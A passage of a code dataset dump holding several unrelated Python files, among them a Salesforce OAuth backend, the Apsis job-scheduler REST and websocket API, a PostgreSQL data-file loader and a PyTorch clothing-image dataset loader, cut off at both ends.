self.model.GetFields(todas=True):\n try:\n ctrl = getattr(self, field.name)\n except (AttributeError):\n continue\n label = wx.StaticText(self, -1, field.verbose_name)\n s2.Add(label, 0, wx.ALIGN_RIGHT)\n s2.Add(ctrl, 1)\n \n s1.Add(s2, 1, wx.EXPAND|wx.ALL, 10)\n\n s3 = wx.BoxSizer(wx.HORIZONTAL)\n s3.Add(self.button_save, 0, wx.ALL, 5)\n s3.Add(self.button_cancel, 0, wx.ALL, 5)\n s1.Add(s3, 0, wx.ALL, 0)\n\n self.SetSizer(s1)\n s1.Fit(self)\n self.Layout()\n\n def OnSave(self, event):\n # Guardamos los datos.\n try:\n self.model.SaveForm(self)\n except (ValidationError) as e:\n return wx.MessageBox(str(e))\n try:\n self.Parent.EndModal(wx.ID_OK)\n except (BaseException) as e:\n print(e)\n event.Skip()\n\n def SetValues(self):\n self.id.SetValue(str(self.model.id))\n self.identificacion.SetValue(str(self.model.identificacion))\n self.identificacion_type.SetValue(str(self.model.identificacion_type))\n self.nombre.SetValue(str(self.model.nombre))\n self.razon_social.SetValue(str(self.model.razon_social))\n\n try:\n self.nacimiento.SetValue(self.model.nacimiento.ToDate())\n except (BaseException) as e:\n self.nacimiento.SetValue(wx.DefaultDateTime)\n\n self.email.SetValue(str(self.model.email))\n self.telefono.SetValue(str(self.model.telefono))\n self.direccion.SetValue(str(self.model.direccion))\n try:\n self.es_suplidor.SetValue(self.model.es_suplidor.value)\n except (TypeError):\n self.es_suplidor.SetValue(0)\n self.imagen_perfil.SetBitmapLabel(self.model.imagen_perfil.ToBitmap())","sub_path":"desk/persona/panels.py","file_name":"panels.py","file_ext":"py","file_size_in_byte":6681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"386963079","text":"\"\"\"\nsettings.py should include the following: \n SALESFORCE_CLIENT_ID = '...' \n SALESFORCE_CLIENT_SECRET = '...'\n\n Optional scope to include:\n\tapi: Allows access to the current, logged-in user's account over the APIs, such as the REST API or Bulk API.\n\tchatter_api: Allows access to only the Chatter API URLs.\n\tfull: Allows access to all data accessible by the current, logged-in user.\n\tid: Allows access only to the Identity Service\n\trefresh_token: Allows a refresh token to be returned if you are eligible to receive one.\n\tvisualforce: Allows access to Visualforce pages\n\tweb: Allows the ability to use the access_token on the web.\n\n\tIf you do not supply a scope parameter, it will default to: id api refresh_token\n\n SALESFORCE_AUTH_EXTRA_ARGUEMENTS = {'scope': 'id api refresh_token'}\n SALESFORCE_DISPLAY_PARAM = ''\n\n\n More information on scope can be found at:\n http://wiki.developerforce.com/page/Digging_Deeper_into_OAuth_2.0_on_Force.com\n\"\"\"\nfrom urllib import urlencode\n\nfrom django.utils import simplejson\n\nfrom social_auth.backends import BaseOAuth2, OAuthBackend\nfrom social_auth.utils import dsa_urlopen, setting\n\nfrom oauth2 import Token\n\n\nSALESFORCE_DOMAIN = 'login.salesforce.com'\nSALESFORCE_TEST_DOMAIN = 'test.salesforce.com'\n\nSALESFORCE_TESTING = setting('SALESFORCE_TESTING',False)\nSALESFORCE_SERVER = \"https://\" + (SALESFORCE_TEST_DOMAIN if SALESFORCE_TESTING else SALESFORCE_DOMAIN)\n\nSALESFORCE_AUTHORIZATION_PATH = '/services/oauth2/authorize'\nSALESFORCE_ACCESS_TOKEN_PATH = '/services/oauth2/token'\n\n\nSALESFORCE_AUTHORIZATION_URL = SALESFORCE_SERVER + SALESFORCE_AUTHORIZATION_PATH\nSALESFORCE_ACCESS_TOKEN_URL = SALESFORCE_SERVER + SALESFORCE_ACCESS_TOKEN_PATH\n\nclass SalesforceBackend(OAuthBackend):\n name = 'salesforce'\n\n EXTRA_DATA = [\n ('user_id', 'user_id'),\n ('asserted_user', 'asserted_user'),\n ('organization_id','organization_id'),\n ('username','username'),\n ('display_name', 'display_name'),\n ('email', 'email'),\n ('status','status'),\n ('photos','photos'),\n ('urls','urls'),\n ('refresh_token', 'refresh_token', True),\n ]\n\n def get_user_id(self, details, response):\n return response['user_id']\n\n def get_user_details(self, response):\n \"\"\"Return user details from Salesforce account\"\"\"\n username = response['username']\n first_name = response['display_name'].split(' ')[0]\n last_name = response['display_name'].split(' ')[-1]\n email = response['email']\n return {\n 'username': username,\n 'first_name': first_name,\n 'last_name': last_name,\n 'email': email,\n }\n\n\nclass SalesforceAuth(BaseOAuth2):\n \"\"\"Salesforce OAuth mechanism\"\"\"\n AUTHORIZATION_URL = SALESFORCE_AUTHORIZATION_URL\n ACCESS_TOKEN_URL = SALESFORCE_ACCESS_TOKEN_URL\n AUTH_BACKEND = SalesforceBackend\n SETTINGS_KEY_NAME = 'SALESFORCE_CLIENT_ID'\n SETTINGS_SECRET_NAME = 'SALESFORCE_CLIENT_SECRET'\n # REDIRECT_STATE = False\n # STATE_PARAMETER = False\n\n def user_data(self, access_token, *args, **kwargs):\n \"\"\"Loads user data from service\"\"\"\n response = kwargs.get('response') or {}\n import urllib2\n headers = {'Authorization': 'Bearer ' + access_token}\n req = urllib2.Request(response.get('id'), headers=headers)\n try:\n return simplejson.load(urllib2.urlopen(req))\n except ValueError:\n return None\n\n\n# Backend definition\nBACKENDS = {\n 'salesforce': SalesforceAuth,\n}\n","sub_path":"social_auth/backends/contrib/salesforce.py","file_name":"salesforce.py","file_ext":"py","file_size_in_byte":3565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"128242935","text":"import pandas as pd \nimport numpy as np \nfrom sklearn.cluster import KMeans\ndf = pd.read_excel('titanic.xls')\ndf.drop(['body','name'],1,inplace = True)\ndf.convert_objects(convert_numeric= True)\ndf.fillna(0, inplace = True)\n# print(df.columns.values)\ndef handle_non_numerical_data(df):\n columns = df.columns.values\n for column in columns:\n x = 0\n digit_dict = {}\n def convert_to_int(val):\n return digit_dict[val]\n if df[column].dtype != np.float64 and df[column].dtype != np.int64:\n df_val = list(set(df[column]))\n for val in df_val:\n if val not in digit_dict:\n digit_dict[val] = x\n x += 1 \n # print(list(map(convert_to_int,df[column])))\n df[column] = list(map(convert_to_int,df[column])) \n return df\ndf = handle_non_numerical_data(df)\nX = np.array(df.drop(['survived'],1).astype(float))\ny = np.array(df['survived'])\nprint(X)\nprint(y)\nclf = KMeans(n_clusters=2)\nclf.fit(X)","sub_path":"Algorithm code/K-mean with titanic.py","file_name":"K-mean with titanic.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"29331909","text":"import os\nfrom Bio import SeqIO\n\nMainDir = '/home/deepti/Documents/test_data'\nOutDir = '/home/deepti/Documents/test_data_output'\n\n\nif os.path.exists(MainDir):\n\tfor d1 in os.listdir(MainDir): \n\n\t\tDir1 = os.path.join(MainDir, d1) \n\t\td ={}\n\t\tm ={}\n\t\tif os.path.exists(OutDir):\n\t\t\toutd1 = os.path.join(OutDir, d1)\n\t\t\tos.makedirs(outd1+'_output')\n\t\t\toutd2 = os.path.join(outd1+'_output')\n\t\t\toutputfasta = open(os.path.join(outd2, d1+'.fasta'), 'w')\n\t\t\toutputlog = open(os.path.join(outd2, d1+'.log.txt'), 'w')\n\t\n\t\t\t\n\t\t\tfor d2 in os.listdir(Dir1):\n\t\t\t\tDir2 = os.path.join(Dir1, d2)\n\t\t\t\t#print(Dir2)\n\t\t\t\tfor files in os.listdir(Dir2):\n\t\t\t\t\tfilePath= Dir2+\"/\"+files\n\t\t\t\t\t#print(filePath)\n\t\t\t\t\tfh = open(filePath)\n\t\t\t\t\tfor seq_record in SeqIO.parse(fh, 'fasta'):\n\t\t\t\t\t\tseq = str(seq_record.seq)\n\t\t\t\t\t\tif seq not in d:\n\t\t\t\t\t\t\td[seq] = []\n\t\t\t\t\t\td[seq].append(seq_record.id)\n\t\t\t\t\t\tlogVar=seq_record.id+\"\\t\"+files\n\t\t\t\t\t\t#print(logVar)\n\t\t\t\t\t\tif seq_record.id not in m:\n\t\t\t\t\t\t\tm[seq_record.id] = []\n\t\t\t\t\t\tm[seq_record.id].append(files)\n\t\t\t\tfh.close() #output.fasta\n\t\t\t\n\t\t\tfor seqs, ids in d.items(): \n\t\t\t\t#print(seqs,ids)\n\t\t\t\toutputfasta.write('>'+'#'.join(ids)+'\\n'+ seqs +'\\n')\n\t\t\t\t\n\t\t\tfor ids, filenames in m.items():\n\t\t\t\t#print(ids,filenames)\n\t\t\t\t#print(type(filenames))\n\t\t\t\t#uniqFileNames= list(set(filenames))\n\t\t\t\t#print(ids,\"\\t\",uniqFileNames)\n\t\t\t\toutputlog.write(ids+'\\t'+Dir2+'/'+','.join(filenames)+'\\n') \n","sub_path":"Parse_dict_fasta.py","file_name":"Parse_dict_fasta.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"369472323","text":"#!/usr/bin/env python\n\"\"\"Example process file.\"\"\"\n\nfrom mapchete import MapcheteProcess\nfrom shapely.geometry import shape\n\n\nclass Process(MapcheteProcess):\n \"\"\"Main process class.\"\"\"\n\n def __init__(self, **kwargs):\n \"\"\"Process initialization.\"\"\"\n # init process\n MapcheteProcess.__init__(self, **kwargs)\n self.identifier = \"my_process_id\",\n self.title = \"My long process title\",\n self.version = \"0.1\",\n self.abstract = \"short description on what my process does\"\n\n def execute(self):\n \"\"\"User defined process.\"\"\"\n # Reading and writing data works like this:\n with self.open(\"file1\") as vector_file:\n if vector_file.is_empty():\n # This assures a transparent tile instead of a pink error tile\n # is returned when using mapchete serve.\n return \"empty\"\n return [\n dict(\n geometry=feature[\"geometry\"],\n properties=dict(\n name=feature[\"properties\"][\"NAME_0\"],\n id=feature[\"properties\"][\"ID_0\"],\n area=shape(feature[\"geometry\"]).area\n )\n )\n for feature in vector_file.read()\n ]\n","sub_path":"test/testdata/geojson_test.py","file_name":"geojson_test.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"51160845","text":"import asyncio\nimport logging\nimport ora\nimport re\nimport sanic\nimport ujson\nfrom urllib.parse import unquote\nimport websockets\n\nfrom apsis.apsis import reschedule_runs\nfrom apsis.lib.api import response_json, error, time_to_jso, to_bool\nimport apsis.lib.itr\nfrom apsis.lib.timing import Timer\nfrom ..jobs import jso_to_job, reruns_to_jso\nfrom ..runs import Instance, Run, RunError\n\nlog = logging.getLogger(__name__)\n\n# Max number of runs to send in one websocket message.\nWS_RUN_CHUNK = 1024\nWS_RUN_CHUNK_SLEEP = 0.001\n\n#-------------------------------------------------------------------------------\n\nAPI = sanic.Blueprint(\"v1\")\n\n@API.exception(RunError)\ndef no_such_process_error(request, exception):\n return error(exception, status=400)\n\n\n#-------------------------------------------------------------------------------\n\ndef to_state(state):\n return None if state is None else Run.STATE[state]\n\n\ndef _to_jso(obj):\n return None if obj is None else {\n **obj.to_jso(),\n \"str\": str(obj),\n }\n\n\ndef _job_to_jso(app, job):\n return {\n \"job_id\" : job.job_id,\n \"params\" : list(sorted(job.params)),\n \"schedules\" : [ _to_jso(s) for s in job.schedules ],\n \"program\" : _to_jso(job.program),\n \"condition\" : [ _to_jso(c) for c in job.conds ],\n \"actions\" : [ _to_jso(a) for a in job.actions ],\n \"reruns\" : reruns_to_jso(job.reruns),\n \"metadata\" : job.meta,\n \"ad_hoc\" : job.ad_hoc,\n \"url\" : app.url_for(\"v1.job\", job_id=job.job_id),\n }\n\n\n# FIXME: Clean up, or put back caching.\n# No caching; jobs may change.\njob_to_jso = _job_to_jso\n\n\ndef _run_summary_to_jso(app, run):\n jso = run._jso_cache\n if jso is not None:\n # Use the cached JSO.\n return jso\n\n actions = {}\n # Start a scheduled job now.\n if run.state == run.STATE.scheduled:\n actions[\"cancel\"] = app.url_for(\"v1.run_cancel\", run_id=run.run_id)\n actions[\"start\"] = app.url_for(\"v1.run_start\", run_id=run.run_id)\n # Retry is available if the run didn't succeed.\n if run.state in {run.STATE.failure, run.STATE.error}:\n actions[\"rerun\"] = app.url_for(\"v1.run_rerun\", run_id=run.run_id)\n # Terminate and kill are available for a running run.\n if run.state == run.STATE.running:\n actions[\"terminate\"] = app.url_for(\n \"v1.run_signal\", run_id=run.run_id, signal=\"SIGTERM\")\n actions[\"kill\"] = app.url_for(\n \"v1.run_signal\", run_id=run.run_id, signal=\"SIGKILL\")\n\n jso = run._jso_cache = {\n \"url\" : app.url_for(\"v1.run\", run_id=run.run_id),\n \"job_id\" : run.inst.job_id,\n \"job_url\" : app.url_for(\"v1.job\", job_id=run.inst.job_id),\n \"args\" : run.inst.args,\n \"run_id\" : run.run_id,\n \"state\" : run.state.name,\n \"message\" : run.message,\n \"times\" : { n: time_to_jso(t) for n, t in run.times.items() },\n \"time_range\" : None if len(run.times) == 0 else [\n time_to_jso(min(run.times.values())),\n time_to_jso(max(run.times.values())),\n ],\n \"actions\" : actions,\n \"rerun\" : run.rerun,\n \"expected\" : run.expected,\n \"output_url\" : app.url_for(\"v1.run_output_meta\", run_id=run.run_id),\n \"labels\" : run.meta.get(\"labels\", []),\n }\n return jso\n\n\ndef run_to_jso(app, run, summary=False):\n if run.state is None:\n # This run is being deleted.\n # FIXME: Hack.\n return {\"run_id\": run.run_id, \"state\": None}\n\n jso = _run_summary_to_jso(app, run)\n\n if not summary:\n jso.update({\n \"conds\":\n [] if run.conds is None \n else [ _to_jso(c) for c in run.conds ],\n \"program\": None if run.program is None else run.program.to_jso(),\n # FIXME: Rename to metadata.\n \"meta\": run.meta,\n })\n\n return jso\n\n\ndef runs_to_jso(app, when, runs, summary=False):\n return {\n \"when\": time_to_jso(when),\n \"runs\": { r.run_id: run_to_jso(app, r, summary) for r in runs },\n }\n\n\ndef _output_metadata_to_jso(app, run_id, outputs):\n return [\n {\n \"output_id\": output_id,\n \"output_url\": app.url_for(\n \"v1.run_output\", run_id=run_id, output_id=output_id),\n \"output_len\": output.length,\n }\n for output_id, output in outputs.items()\n ]\n\n\n#-------------------------------------------------------------------------------\n# Jobs\n\nclass JobLookupError(LookupError):\n pass\n\n\n@API.exception(JobLookupError)\ndef job_lookup_error(request, exception):\n return error(exception, status=400)\n\n\nclass AmbiguousJobError(ValueError):\n pass\n\n\n@API.exception(AmbiguousJobError)\ndef ambiguous_job_error(request, exception):\n return error(exception, status=400)\n\n\ndef match(choices, target):\n \"\"\"\n Matches `target` to one of `choices`.\n\n Splits the target and each choice into words. Selects a choice such that\n each word in the target appears as a word in the choice, at least as a\n prefix.\n\n :return:\n The matching choice.\n \"\"\"\n REGEX = re.compile(r\"[^A-Za-z0-9]\")\n\n def words(target):\n return set(REGEX.split(target))\n\n target_words = words(target)\n\n def match(choice):\n choice_words = words(choice)\n return all(\n any( cw.startswith(sw) for cw in choice_words )\n for sw in target_words\n )\n\n choices = { c for c in choices if match(c) }\n\n if len(choices) == 0:\n raise JobLookupError(\"no job id match: \" + target)\n elif len(choices) == 1:\n return next(iter(choices))\n else:\n if len(choices) > 8:\n choices = \", \".join(list(choices)[: 8]) + \" …\"\n else:\n choices = \", \".join(choices)\n raise AmbiguousJobError(\"ambiguous job id: \" + choices)\n\n\ndef match_job_id(jobs, job_id):\n \"\"\"\n Matches `job_id` as an exact or fuzzy match.\n \"\"\"\n logging.info(f\"match_job_id {job_id}\")\n\n # Try for an exact match first.a\n try:\n jobs.get_job(job_id)\n except LookupError:\n pass\n else:\n return job_id\n\n # FIXME: Cache job ids (or word split job ids) to make this efficient.\n job_ids = [ j.job_id for j in jobs.get_jobs(ad_hoc=False) ]\n return match(job_ids, job_id)\n \n\n@API.route(\"/jobs/<job_id:path>\")\nasync def job(request, job_id):\n jobs = request.app.apsis.jobs\n try:\n job_id = match_job_id(jobs, unquote(job_id))\n except LookupError:\n return error(f\"no job_id {job_id}\", status=404)\n job = jobs.get_job(job_id)\n return response_json(job_to_jso(request.app, job))\n\n\n@API.route(\"/jobs/<job_id:path>/runs\")\nasync def job_runs(request, job_id):\n job_id = match_job_id(request.app.apsis.jobs, unquote(job_id))\n when, runs = request.app.apsis.run_store.query(job_id=job_id)\n jso = runs_to_jso(request.app, when, runs)\n return response_json(jso)\n\n\n@API.route(\"/jobs\")\nasync def jobs(request):\n \"\"\"\n Returns (non ad-hoc) jobs.\n \"\"\"\n jso = [ \n job_to_jso(request.app, j) \n for j in request.app.apsis.jobs.get_jobs(ad_hoc=False)\n ]\n return response_json(jso)\n\n\n#-------------------------------------------------------------------------------\n# Runs\n\n@API.route(\"/runs/<run_id>\", methods={\"GET\"})\nasync def run(request, run_id):\n try:\n when, run = request.app.apsis.run_store.get(run_id)\n except KeyError:\n return error(f\"unknown run {run_id}\", 404)\n \n jso = runs_to_jso(request.app, when, [run])\n return response_json(jso)\n\n\n@API.route(\"/runs/<run_id>/history\", methods={\"GET\"})\nasync def run_history(request, run_id):\n try:\n history = await request.app.apsis.get_run_history(run_id)\n except KeyError:\n return error(f\"unknown run {run_id}\", 404)\n\n return response_json({\n \"run_history\": [\n {\n \"run_id\" : r[\"run_id\"],\n \"timestamp\" : time_to_jso(r[\"timestamp\"]),\n \"message\" : r[\"message\"],\n }\n for r in history\n ]\n })\n\n\n@API.route(\"/runs/<run_id>/output\", methods={\"GET\"})\nasync def run_output_meta(request, run_id):\n try:\n outputs = request.app.apsis.outputs.get_metadata(run_id)\n except KeyError:\n return error(f\"unknown run {run_id}\", 404)\n\n jso = _output_metadata_to_jso(request.app, run_id, outputs)\n return response_json(jso)\n\n\n@API.route(\"/runs/<run_id>/output/<output_id>\", methods={\"GET\"})\nasync def run_output(request, run_id, output_id):\n try:\n data = request.app.apsis.outputs.get_data(run_id, output_id)\n except LookupError as exc:\n return error(exc, 404)\n else:\n return sanic.response.raw(data)\n\n\n@API.route(\"/runs/<run_id>/state\", methods={\"GET\"})\nasync def run_state_get(request, run_id):\n _, run = request.app.apsis.run_store.get(run_id)\n return response_json({\"state\": run.state})\n\n\n@API.route(\"/runs/<run_id>/cancel\", methods={\"POST\"})\nasync def run_cancel(request, run_id):\n state = request.app.apsis\n _, run = state.run_store.get(run_id)\n if run.state == run.STATE.scheduled:\n await state.cancel(run)\n return response_json({})\n else:\n return error(\"invalid run state for cancel\", 409, state=run.state)\n\n\n@API.route(\"/runs/<run_id>/start\", methods={\"POST\"})\nasync def run_start(request, run_id):\n state = request.app.apsis\n _, run = state.run_store.get(run_id)\n if run.state == run.STATE.scheduled:\n await state.start(run)\n return response_json({})\n else:\n return error(\"invalid run state for start\", 409, state=run.state)\n\n\n@API.route(\"/runs/<run_id>/rerun\", methods={\"POST\"})\nasync def run_rerun(request, run_id):\n state = request.app.apsis\n _, run = state.run_store.get(run_id)\n if run.state not in {run.STATE.failure, run.STATE.error, run.STATE.success}:\n return error(\"invalid run state for rerun\", 409, state=run.state)\n else:\n new_run = await state.rerun(run)\n jso = runs_to_jso(request.app, ora.now(), [new_run])\n # Let UIs know to show the new run.\n jso[\"show_run_id\"] = new_run.run_id\n return response_json(jso)\n\n\n# FIXME: PUT is probably right, but run actions currently are POST only.\n@API.route(\"/runs/<run_id>/signal/<signal>\", methods={\"PUT\", \"POST\"})\nasync def run_signal(request, run_id, signal):\n apsis = request.app.apsis\n _, run = apsis.run_store.get(run_id)\n\n if run.state not in {run.STATE.running}:\n return error(\"invalid run state for signal\", 409, state=run.state.name)\n assert run.program is not None\n\n apsis.run_history.info(run, f\"sending signal {signal}\")\n try:\n await run.program.signal(run.run_state, signal)\n except RuntimeError as exc:\n return error(str(exc), 400) # FIXME: code?\n return response_json({})\n\n\ndef _filter_runs(runs, args):\n \"\"\"\n Constructs a filter for runs from query args.\n \"\"\"\n try:\n run_id, = args[\"run_id\"]\n except KeyError:\n pass\n else:\n runs = ( r for r in runs if r.run_id == run_id )\n\n try:\n job_id, = args[\"job_id\"]\n except KeyError:\n pass\n else:\n runs = ( r for r in runs if r.inst.job_id == job_id )\n\n return runs\n\n\n@API.route(\"/runs\")\nasync def runs(request):\n apsis = request.app.apsis\n\n # Get runs from the selected interval.\n args = request.args\n summary, = args.pop(\"summary\", (\"False\", ))\n summary = to_bool(summary)\n run_ids = args.pop(\"run_id\", None)\n job_id, = args.pop(\"job_id\", (None, ))\n if job_id is not None:\n job_id = match_job_id(apsis.jobs, job_id)\n state, = args.pop(\"state\", (None, ))\n since, = args.pop(\"since\", (None, ))\n reruns, = args.pop(\"reruns\", (\"False\", ))\n\n when, runs = apsis.run_store.query(\n run_ids =run_ids, \n job_id =job_id,\n state =to_state(state),\n since =since, \n reruns =to_bool(reruns),\n )\n\n return response_json(runs_to_jso(request.app, when, runs, summary=summary))\n\n\n@API.websocket(\"/ws/runs\")\nasync def websocket_runs(request, ws):\n since, = request.args.pop(\"since\", (None, ))\n\n log.info(\"live runs connect\")\n with request.app.apsis.run_store.query_live(since=since) as queue:\n while True:\n # FIXME: If the socket closes, clean up instead of blocking until\n # the next run is available. Not sure how to do this. ws.ping()\n # with a timeout doesn't appear to work.\n next_runs = [await queue.get()]\n # Drain the queue.\n while True:\n try:\n next_runs.append(queue.get_nowait())\n except asyncio.QueueEmpty:\n break\n\n if any( r is None for r in next_runs ):\n # Signalled to shut down.\n await ws.close()\n break\n\n when = next_runs[-1][0]\n assert all( w <= when for w, _ in next_runs )\n runs = apsis.lib.itr.chain.from_iterable( r for _, r in next_runs )\n runs = _filter_runs(runs, request.args)\n\n # Break large sets into chunks, to avoid block for too long.\n chunks = list(apsis.lib.itr.chunks(runs, WS_RUN_CHUNK))\n if len(chunks) == 0:\n continue\n\n try:\n for chunk in chunks:\n with Timer() as timer:\n jso = runs_to_jso(request.app, when, chunk, summary=True)\n # FIXME: JSOs are cached but ujson.dumps() still takes real\n # time.\n json = ujson.dumps(jso)\n log.debug(f\"sending {len(chunk)} runs, {len(json)} bytes {timer.elapsed:.3f} s: {request.socket}\")\n await ws.send(json)\n await asyncio.sleep(WS_RUN_CHUNK_SLEEP)\n except websockets.ConnectionClosed:\n break\n\n log.info(\"live runs disconnect\")\n\n\n@API.route(\"/runs\", methods={\"POST\"})\nasync def run_post(request):\n apsis = request.app.apsis\n\n # The run may either contain a job ID, or a complete job.\n jso = request.json\n if \"job\" in jso:\n # A complete job.\n job = jso_to_job(jso[\"job\"], None)\n job.ad_hoc = True\n request.app.apsis.jobs.add(job)\n job_id = job.job_id\n\n elif \"job_id\" in jso:\n # Just a job ID.\n job_id = match_job_id(apsis.jobs, jso[\"job_id\"])\n\n else:\n return error(\"missing job_id or job\")\n\n run = Run(Instance(job_id, jso.get(\"args\", {})))\n request.app.apsis._validate_run(run)\n\n time = jso.get(\"times\", {}).get(\"schedule\", \"now\")\n time = None if time == \"now\" else ora.Time(time)\n await apsis.schedule(time, run)\n jso = runs_to_jso(request.app, ora.now(), [run])\n return response_json(jso)\n \n\n# FIXME: Is there a need for this?\n@API.route(\"/runs/reschedule/<job_id:path>\", methods={\"POST\"})\nasync def runs_reschedule_post(request, job_id):\n await reschedule_runs(request.app.apsis, job_id)\n return response_json({})\n\n\n","sub_path":"python/apsis/service/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":15259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"585100361","text":"import datetime\nimport psycopg2\nimport json\nfrom django.conf import settings\nfrom os.path import basename\nimport redis\n\n\nclass DataFile(object):\n\n def save_to_database(self, project_id, vendor, network, file_type, description, filename, task_id):\n r = redis.StrictRedis(host=settings.REDIS, port=6379, db=0)\n conn = psycopg2.connect(\n 'host = %s dbname = %s user = %s password = %s' % (\n settings.DATABASES['default']['HOST'],\n settings.DATABASES['default']['NAME'],\n settings.DATABASES['default']['USER'],\n settings.DATABASES['default']['PASSWORD']))\n cursor = conn.cursor()\n cursor.execute('''CREATE TABLE IF NOT EXISTS Universal3g3gNeighbors (\n filename TEXT,\n rncSource TEXT,\n utrancellSource TEXT,\n carrierSource TEXT,\n rncTarget TEXT,\n utrancellTarget TEXT,\n carrierTarget TEXT\n )''')\n cursor.execute('CREATE TABLE IF NOT EXISTS data_table (id SERIAL, project_id INT, filename TEXT, table_name TEXT, row JSONB)')\n cursor.execute('DELETE FROM data_table WHERE (project_id=%s) AND (filename=%s)', (project_id, basename(self.filename)))\n s = len(self.data)\n i = 0\n file_tables = set()\n for row in self.data:\n table_name = row.get('data_type')\n file_tables.add(row.get('data_type'))\n del row['data_type']\n cursor.execute('INSERT INTO data_table (project_id, filename, table_name, row) VALUES (%s, %s, %s, %s)', (project_id, filename, table_name, json.dumps(row, encoding='latin1')))\n i += 1\n r.set(task_id, '%s, writing' % int(float(i) / float(s) * 100))\n\n r.set(task_id, '100, writing')\n file_tables = list(file_tables)\n file_tables.sort()\n cursor = conn.cursor()\n cursor.execute('DELETE FROM files_files WHERE (project_id=%s) AND (filename=%s)', (project_id, basename(self.filename)))\n cursor.execute('INSERT INTO files_files (filename, date, tables, excel_filename, archive, file_type, description, vendor, network, project_id) VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s)', (\n filename,\n datetime.datetime.now(),\n ','.join(file_tables),\n '',\n '',\n file_type,\n description,\n vendor,\n network,\n project_id))\n conn.commit()\n r.set(task_id, 'done')","sub_path":"files/data_file.py","file_name":"data_file.py","file_ext":"py","file_size_in_byte":2514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"357916803","text":"\n\n#calss header\nclass _MILDEW():\n\tdef __init__(self,): \n\t\tself.name = \"MILDEW\"\n\t\tself.definitions = [u'a black, green, or whitish area caused by a fungus that grows on things such as plants, paper, cloth, or buildings, usually if the conditions are warm and wet: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_mildew.py","file_name":"_mildew.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"17590539","text":"\"\"\"\n real-time joints definition: \n (0-'nose'\t1-'neck' 2-'right_shoulder' 3-'right_elbow' 4-'right_wrist'\n 5-'left_shoulder' 6-'left_elbow'\t 7-'left_wrist' 8-'right_hip'\n 9-'right_knee'\t 10-'right_ankle'\t11-'left_hip' 12-'left_knee'\n 13-'left_ankle'\t 14-'right_eye'\t 15-'left_eye' 16-'right_ear'\n 17-'left_ear' )\n \n\"\"\"\nimport torch\nimport torchvision.transforms as transforms\nfrom torch.utils.data import DataLoader, Dataset\n\n# from PIL import Image\n# from PIL import ImageDraw\nimport cv2\nimport os\nimport numpy as np\nimport json\n\nimport util\n\nclass ClothesDataset(Dataset):\n def __init__(self, opt):\n super(ClothesDataset,self).__init__()\n self.opt = opt\n self.root = opt.root # data root\n self.mode = opt.mode # train or test\n self.path = self.root \n self.datalist = opt.datalist # pair data\n self.w = opt.w # 192\n self.h = opt.h # 288\n self.radius = opt.radius # 3\n \n self.transform = transforms.Compose([\n # transforms.Resize((self.h, self.w)),\n transforms.ToTensor(), # [0, 255]->[0.0, 1.0]\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))]) # [0.0, 1.0]->[-1.0, 1.0]\n\n human1_names = []\n human2_names = []\n c_names = []\n \n # Load data into human1, human2, clothing names from path\n with open(os.path.join(self.path, self.datalist), \"r\") as f:\n for line in f.readlines():\n line = line.strip(\"\\n\")\n c_names.append(line)\n human1_names.append(line.replace(\".jpg\", \"_0.jpg\"))\n human2_names.append(line.replace(\".jpg\", \"_1.jpg\"))\n\n self.c_names = c_names\n self.human1_names = human1_names\n self.human2_names = human2_names\n\n def __len__(self):\n return len(self.c_names)\n \n def transform_keypoints(self, pose_label):\n # body parts*(x, y, probability)\n pose_data = np.zeros((18, 3))\n for part in pose_label:\n body = int(part[-1])\n if pose_data[body, 2] < part[2]:\n pose_data[body, 0] = part[0]\n pose_data[body, 1] = part[1]\n pose_data[body, 2] = part[2]\n \n return pose_data\n \n def transform_pose(self, human_pose):\n # r = self.radius\n sigma = self.radius\n point_num = human_pose.shape[0]\n # pose_map = torch.zeros(point_num, self.h, self.w)\n # pose_img = Image.new('L', (self.w, self.h))\n # pose_draw = ImageDraw.Draw(pose_img)\n pose_map = np.zeros((point_num, self.h, self.w))\n for i in range(point_num):\n # one_map = Image.new('L',(self.w, self.h))\n # draw = ImageDraw.Draw(one_map)\n px = human_pose[i, 0]\n py = human_pose[i, 1]\n if px > 1 and py > 1:\n one_heatmap = util.makeGaussian([self.h, self.w], sigma, [px, py])\n pose_map[i] = one_heatmap\n pose_map = torch.from_numpy(pose_map) # [0,1]\n\n # pose_img = np.array(pose_img)/255\n # pose_img = torch.from_numpy((pose_img-0.5)*2)\n return pose_map\n \n def __getitem__(self, index):\n # Load human 1,2 and clothing\n h1_name = self.human1_names[index]\n h2_name = self.human2_names[index]\n c_name = self.c_names[index]\n\n # c = Image.open(os.path.join(self.path, \"clothes\", c_name)).convert('RGB')\n c = cv2.imread(os.path.join(self.path, \"clothes\", c_name)) # B,G,R order\n c = self.transform(c)/2\n\n h1 = cv2.imread(os.path.join(self.path, \"human\", h1_name))\n h1 = self.transform(h1)/2\n h2 = cv2.imread(os.path.join(self.path, \"human\", h2_name))\n h2 = self.transform(h2)/2\n\n # # Load human pose points from json files\n human1_pose_name = h1_name.replace('.jpg', '_keypoints.json')\n with open(os.path.join(self.path, \"human_pose\", human1_pose_name), \"r\") as f:\n pose_label = json.load(f)\n human1_pose = self.transform_keypoints(pose_label)\n human1_pose_map = self.transform_pose(human1_pose)\n human1_pose = 